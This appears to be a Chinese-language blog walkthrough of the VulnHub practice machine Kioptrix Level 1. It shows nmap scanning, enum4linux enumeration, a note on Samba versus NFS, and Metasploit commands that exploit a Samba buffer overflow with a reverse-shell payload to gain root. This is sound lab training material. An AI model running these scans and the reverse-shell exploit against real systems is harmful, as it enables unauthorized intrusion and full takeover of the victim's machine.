0x00.前言
鸟可择木,岂有木可择鸟?
0x01.靶机的基本信息
靶机名称:Kioptrix: Level 1 (#1)
发布日期:2010 年 2 月 17 日
靶机作者:Kioptrix
靶机地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
0x02.信息搜集
确定目标IP。
nmap -sn 192.168.31.1/24

sudo nmap -sV -p 1-65535 -O -A 192.168.31.152

可以看到139端口开启了Samba服务。之前一直对Samba和NFS两个服务有点分不清楚,因为也没具体使用过,这次去查了一下,算在这里做个补充。
samba服务与NFS服务的区别:
1、实用性方面的区别
(1)samba能解决win和linux,linux和linux之间的共享,但是SMB协议是MS的,SMB的高级特性是和windows的特性联系紧密的。
(2)对比samba,NFS更简洁、方便,更原生,兼容性方面更好。
2、不同的操作系统上运行
(1)samba主要用于在windows和unix之间共享资源。资源包括文件、打印机等等。
(2)NFS主要用于在UNIX/LINUX上而不是windows上。
确实,sam能解决win和linux,linux和linux之间的共享,但是SMB协议是MS的,SMB的高级特性是和windows的特性联系紧密的.linux是向windows靠拢才用的smb,但是累赘而且力不从心. 比如我的debian,安装nfs-server和client只要80K, 安装smbclient就要19M, 这其中的差别是显而易见的. NFS更简洁,方便,更原生,兼容性更好. smb好处是和windows集成,可以利用windows域等。
一言以蔽之,各有千秋,NFS更简洁,偏向Linux,而samba由微软开发,更偏向Win。
0x03.Samba:缓冲区溢出漏洞利用
Samba服务在旧版本是有缓冲区溢出漏洞的,可以使用Enum4linux(kali自带)来探测目标服务器的Samba信息。Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB有关的目标中快速提取信息。
使用命令也很简单:
enum4linux 192.168.31.152
顺利的话,因为目标的samba服务是允许匿名登录的,所以应该可以得到Samba的版本信息为2.2.1a,不过我在本地上执行失败了。
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
有清楚原因的大佬还请告知。
知道了Samba服务的版本,找对应的exp利用就好了,这里我直接用的MSF。
使用命令“msfconsole”启动MSF,

搜索模块,
search samba

我们要使用的是第十一个,用Google也同样可以搜到exp的。

然后就是设置好各种参数了,
show options //查看当前各项参数情况
set rhosts 192.168.31.152 //设置目标IP
set payload linux/x86/shell_reverse_tcp //设置payload
set lhost 192.168.31.20 //设置攻击机IP

设置完后,执行exploit或run就可以执行了。

可以看到很顺利的给我们返回了一个shell,还是root权限。
总结
其实这靶场还有几种其他突破的方式,我会把连接放在下面,感兴趣可以去看看,不过是国外的博客,你懂的。
Comments | NOTHING